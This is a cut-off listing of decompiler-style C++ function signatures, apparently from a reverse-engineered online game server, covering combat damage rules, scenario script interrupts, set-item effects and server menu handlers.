RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this); void __thiscall RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this); int __thiscall EngSklAtt::ena_attack(EngSklAtt *this, #331 *, #331 *, EngageFlag *, char *); long double __thiscall RulesOfEngagement::roe_Damage(RulesOfEngagement *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalPY::roe_Damage(RulesOfEngagementNormalPY *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalMA::roe_Damage(RulesOfEngagementNormalMA *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalPY::roe_HitRate(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_CriticalRate(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_AttackPower(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_DefendPower(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_HitRate(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_CriticalRate(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_AttackPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_DefendPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_HitRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_CriticalRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_AttackPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_DefendPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_HitRate(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_CriticalRate(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_AttackPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_DefendPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_NotifyParameterChange(void *this, char send); void __thiscall ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange(void *this, char send); int __thiscall RulesOfEngagement::roe_CalcDamage(RulesOfEngagement *this, EngageArgument *argument); // void __thiscall AllOfRangeArgument::AllOfRangeArgument(AllOfRangeArgument *this); void __thiscall Movie::Theater::Theater(Movie::Theater *this); void __thiscall Movie::Theater::Theater(Movie::Theater *this, char *keyname); void __thiscall Movie::Theater::_Theater(Movie::Theater *this); #592 *__thiscall Movie::Theater::GetFieldMap(Movie::Theater *this); void __thiscall List::_List(List *this); void __thiscall ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook(ScenarioBookShelf::ScenarioDescriptBook *this); char __thiscall ScenarioBookShelf::ScenarioDescriptBook::sdb_Load(ScenarioBookShelf::ScenarioDescriptBook *this, char *fname); void __thiscall ScenarioBookShelf::ScenarioBookShelf(ScenarioBookShelf *this); void __thiscall ScenarioBookShelf::_ScenarioBookShelf(ScenarioBookShelf *this); char __thiscall ScenarioBookShelf::sbs_Read(ScenarioBookShelf *this, char *fname); PineEventScript *__thiscall ScenarioBookShelf::sbs_GetScript(ScenarioBookShelf *this, char *fname, int *scriptid); void __thiscall ScenarioBookShelf::sbsReLoad(ScenarioBookShelf *this, const char *pkscriptname); void __thiscall Movie::CinemaComplex::_CinemaComplex(Movie::CinemaComplex *this); int __thiscall Movie::Theater::t_NameCompare(Movie::Theater *this, List *lst, unsigned __int16 hnd, Movie::Theater *key); int __thiscall Movie::TimeLimit::tl_GetTimeLimit_Second(Movie::TimeLimit *this); void __thiscall Movie::TimeLimit::tl_SetTimeLimit(Movie::TimeLimit *this, char *timeunit, int arg); int __thiscall Movie::TimeLimit::tl_LeftTick(Movie::TimeLimit *this); void __thiscall Movie::Theater::t_SetArgument(Movie::Theater *this, #592 *, #331 *); char __thiscall Movie::Theater::t_Routine(Movie::Theater *this, List *lst, unsigned __int16 handle); int __thiscall Movie::Theater::t_PlayFilm(Movie::Theater *this, char *scriptname, PineScriptToken *initval); void __thiscall List::l_Clear(List *this); void __thiscall ScenarioBookShelf::sbs_ReadNAssert(ScenarioBookShelf *this, char *scriptname); Movie::CinemaComplex *__thiscall Movie::CinemaComplex::cc_SetArgument(Movie::CinemaComplex *this, #592 *, #331 *); void __thiscall Movie::CinemaComplex::cc_ScriptInterrupt(Movie::CinemaComplex *this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg); Movie::Theater *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(Movie::Theater *this, List *, unsigned __int16, Movie::Theater *), unsigned __int16 *hnd, Movie::Theater *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ScenarioBookShelf::sbs_LoadScripts(ScenarioBookShelf *this); int __thiscall Movie::CinemaComplex::cc_PlayFilm(Movie::CinemaComplex *this, char *scriptname, PineScriptToken *initval); char __thiscall Movie::CinemaComplex::cc_IsDuringPlay(Movie::CinemaComplex *this, char *scriptname); char __thiscall Movie::CinemaComplex::cc_DropFilm(Movie::CinemaComplex *this, char *scriptname); char __thiscall List::l_PushA(List *this, Movie::Theater *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void *__thiscall Movie::Theater::operator_(void *this, int a2); int __thiscall ScriptInterrupt::ScriptInterruptManager::operator_(int this, int a2); int __thiscall ScriptInterrupt::ScriptInterruptArgument::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, Movie::Theater *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, Movie::Theater *ele); char __thiscall List::l_PopZ(List *this, Movie::Theater *ele); void __thiscall Movie::CinemaComplex::CinemaComplex(Movie::CinemaComplex *this); void __thiscall ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this); void __thiscall ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this); void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInteruptWinGuild *this); void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle(ScriptInterrupt::ScriptInterruptNPCClickHandle *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex(ScriptInterrupt::ScriptInterruptNPCClickIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny(ScriptInterrupt::ScriptInterruptNPCClickAny *this); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate(ScriptInterrupt::ScriptInterruptMobEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate(ScriptInterrupt::ScriptInterruptPlayerEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate(ScriptInterrupt::ScriptInterruptGuildEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval(ScriptInterrupt::ScriptInterruptInterval *this); void __thiscall ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow(ScriptInterrupt::ScriptInterruptHPLow *this); void __thiscall ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut(ScriptInterrupt::ScriptInterruptTimeOut *this); void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy(ScriptInterrupt::ScriptInterruptKillEnemy *this); void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this); void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead(ScriptInterrupt::ScriptInterruptPlayerDead *this); void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin(ScriptInterrupt::ScriptInterruptAdmin *this); void __thiscall ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull(ScriptInterrupt::ScriptInterruptHPFull *this); void __thiscall ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper(ScriptInterrupt::ScriptInterruptHPUpper *this); void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::InterruptEvent(ScriptInterrupt::ScriptInteruptWinGuild *this, ScriptInterrupt::ScriptInterruptArgument *pInterruptArument, ScriptInterrupt::InterruptEventArgument *pEventArument); char __thiscall MapBlock::MapBlockInformation::mbi_AreaLeave(MapBlock::MapBlockInformation *this, Name8 *areaindex, unsigned int x, unsigned int y); void __thiscall List::_List(List *this); void __thiscall ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this); ScriptInterrupt::ScriptInterruptArgument *__thiscall ScriptInterrupt::ScriptInterruptManager::sim_Alloc(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, ScriptInterrupt::ScriptInterruptBase *inst, PineScriptToken *eventblock, int num); char __thiscall ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck(ScriptInterrupt::ScriptInterruptUnitBase *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptMobEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptGuildEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck(ScriptInterrupt::ScriptInterruptInterval *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPLow::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPLow *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTimeOut *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPUpper::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPUpper *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); char __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center); void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); char __thiscall List::l_PushA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); char __thiscall List::l_PopZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); #331 **__cdecl std::copy_backward(#331 **, #331 **, #331 **); char __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast(ScriptInterrupt::ScriptInterruptManager *this, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, #331 *center, unsigned int kq); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_NPCClick(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_TargetChange(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK(void *this, int netcmd, int len, __int16 handle); const char *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::GetName(ScriptInterrupt::ScriptInteruptWinGuild *this); void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::UpdateArgument(ScriptInterrupt::ScriptInteruptWinGuild *this, PineScriptToken *argument); void *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::_vector_deleting_destructor_(ScriptInterrupt::ScriptInteruptWinGuild *this, unsigned int); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); ScriptInterrupt::ScriptInteruptWinGuild *__cdecl ScriptInterrupt::ScriptInterruptUnit::GetInstance(); void __thiscall ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ScriptInterrupt::ScriptInterruptUnitBase *const *_Val); ScriptInterrupt::ScriptInterruptUnitBase *__thiscall ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName(ScriptInterrupt::ScriptInterruptRegisterManager *this, const char *pkName); ScriptInterrupt::ScriptInterruptRegisterManager *__cdecl ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); void __thiscall ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(ScriptInterrupt::ScriptInterruptAdder *this, ScriptInterrupt::ScriptInterruptUnitBase *pScriptBase); bool __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit(ScriptInterrupt::ScriptInterruptManager *this, Name4 *index, PineScriptToken *exp, int num); char __thiscall NPCAction::SkillCondition::needToAttach(ItemAttributeClass *this); void __thiscall ShineObjectClass::ShineMobileObject::so_scene_MovePathSet(void *this, int locx, int locy, int stt); void __thiscall ShineObjectClass::ShineMobileObject::smo_MoveByScenario(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_scene_CreateItem(void *this, int itemid); void __thiscall ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet(void *this, __int16 item, char *attr); void __thiscall ShineObjectClass::ShinePlayer::so_scene_EraseItem(void *this, int itemid, int Num); void __thiscall ShineObjectClass::ShineDropItem::so_scene_EraseItem(ShineObjectClass::ShineDropItem *this, unsigned __int16 itemid, int Num); void __thiscall ShineObjectClass::ShineMob::so_scene_DetectRange(void *this, int range); char __thiscall ShineObjectClass::ShineMob::so_scene_IsIdle(void *this); unsigned __int16 *__cdecl std::copy(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest); void *__thiscall std::vector>::operator_(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::sm_scene_SetWeaponRate(void *this, int rRates); int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReplyCheck(int this, int lnkinf); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall MoveManager::MoveManager(DiceTaiSai *this); char __thiscall ServerMenuActor::sma_IsReady(ServerMenuActor *this); void __thiscall ServerMenuFuncter::smfm_Cancel(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_Link(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_LinkToDungeon(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_LinkWithoutNPC(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_DeleteInstanceDungeon(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ImmediateDivorce(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ImmediateDivorceCancel(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuActor::sma_Reset(ServerMenuActor *this); void __thiscall ServerMenuActor::sma_Regist(ServerMenuActor *this, void (__thiscall *func)(ServerMenuFuncter *this, #440 *, ServerMenuArgument *), ServerMenuArgument *sma); void __thiscall ServerMenuActor::sma_Reply(ServerMenuActor *this, #440 *, char); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_RemoveKQItem(_DWORD, _DWORD); // weak void __thiscall SkillDataBox::sdb_Home(SkillDataBox *this, int *sub); char __thiscall SkillDataBox::sdb_Next(SkillDataBox *this, int *sub); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::sdb_Get(SkillDataBox *this, int *sub); unsigned int __thiscall SetItemData::SkillEffect::operator__(SetItemData::SkillEffect *this, SetItemEffect::SetIndex index); void __thiscall SetItemData::SetItemAbstateEffect::siae_Clear(SetItemData::SetItemAbstateEffect *this); unsigned __int16 __thiscall SetItemData::SetItemAbstateEffect::siae_GetArgument_Base1000(SetItemData::SetItemAbstateEffect *this, SetItemEffect::SetIndex idx); void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(SetItemData::SetItemAbstateEffect *this, SetItemEffect::SetIndex idx); void __thiscall SetItemData::EffectDescription::EffectDescription(SetItemData::EffectDescription *this); void __thiscall SetItemData::EffectDescription::_EffectDescription(SetItemData::EffectDescription *this); char __thiscall SetItemData::EffectDescription::ed_SkillIndexTest(SetItemData::EffectDescription *this, SkillDataBox::SkillDataIndex *sdi, char *skillgroup, char *from, char *to); void __thiscall SetItemData::SetItemEffectList::SetItemEffectList(SetItemData::SetItemEffectList *this); void __thiscall SetItemData::SetItemEffectList::_SetItemEffectList(SetItemData::SetItemEffectList *this); unsigned __int16 __thiscall SetItemData::SetItemEffectList::siel_Index2RegistNumber(SetItemData::SetItemEffectList *this, Name8 *index); void __thiscall SetItemData::EffectByPiece::EffectByPiece(SetItemData::EffectByPiece *this); void __thiscall SetItemData::EffectByPiece::ebp_Append(SetItemData::EffectByPiece *this, SetItem *si); void __thiscall SetItemData::SetItemClassifier::SetItemClassifier(SetItemData::SetItemClassifier *this); void __thiscall SetItemData::SetItemClassifier::_SetItemClassifier(SetItemData::SetItemClassifier *this); unsigned __int16 __thiscall SetItemData::SetItemClassifier::sic_Index2RegistNumber(SetItemData::SetItemClassifier *this, Name8 *index); __int16 __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkill(int this); void __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkillClear(int this); void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectRestore(SetItemData::SetItemAbstateEffect *this, ABSTATEREADBLOCK *str); void __thiscall SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect(SetItemData::SetItemAbstateEffect *this, ABSTATEREADBLOCK *str); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox 